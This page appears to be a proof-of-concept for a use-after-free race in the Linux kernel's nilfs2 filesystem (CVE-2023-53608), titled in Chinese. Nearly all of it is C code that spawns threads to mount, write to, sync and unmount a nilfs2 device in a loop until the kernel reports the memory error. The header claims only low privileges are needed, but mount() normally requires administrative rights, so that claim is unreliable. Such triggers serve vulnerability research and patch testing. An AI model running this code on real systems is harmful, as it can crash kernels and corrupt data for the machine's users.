CVE-2023-53608 Linux内核nilfs2文件系统UAF漏洞

/* CVE-2023-53608 - nilfs2 UAF PoC * This PoC demonstrates the race condition between * nilfs_segctor_thread() and nilfs_segctor_kill_thread() * * Note: Requires a system with nilfs2 filesystem support * and local access with low privileges. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mount.h> #include <sys/stat.h> #include <fcntl.h> #include <pthread.h> #include <signal.h> #define MOUNT_POINT "/tmp/nilfs_test" #define NILFS_DEVICE "/dev/nullb0" // null_blk device for testing // Thread function to repeatedly mount/unmount nilfs2 void *race_thread(void *arg) { int iterations = *(int *)arg; for (int i = 0; i < iterations; i++) { // Mount nilfs2 filesystem if (mount(NILFS_DEVICE, MOUNT_POINT, "nilfs2", 0, "") == 0) { // Create some files to trigger segment construction char path[256]; snprintf(path, sizeof(path), "%s/test_%d", MOUNT_POINT, i); int fd = open(path, O_CREAT | O_WRONLY, 0644); if (fd >= 0) { write(fd, "trigger segment construction\n", 28); close(fd); } // Sync to trigger segctor thread sync(); // Unmount quickly to race with kill_thread umount(MOUNT_POINT); } } return NULL; } int main(int argc, char *argv[]) { int num_threads = 4; int iterations = 100; pthread_t threads[4]; // Create mount point mkdir(MOUNT_POINT, 0755); printf("[+] Starting race condition trigger for CVE-2023-53608\n"); printf("[+] Spawning %d threads, %d iterations each\n", num_threads, iterations); // Launch multiple threads to increase race probability for (int i = 0; i < num_threads; i++) { pthread_create(&threads[i], NULL, race_thread, &iterations); } // Wait for all threads for (int i = 0; i < num_threads; i++) { pthread_join(threads[i], NULL); } printf("[+] Race condition attempts completed\n"); printf("[+] Check dmesg for KASAN UAF detection\n"); rmdir(MOUNT_POINT); return 0; }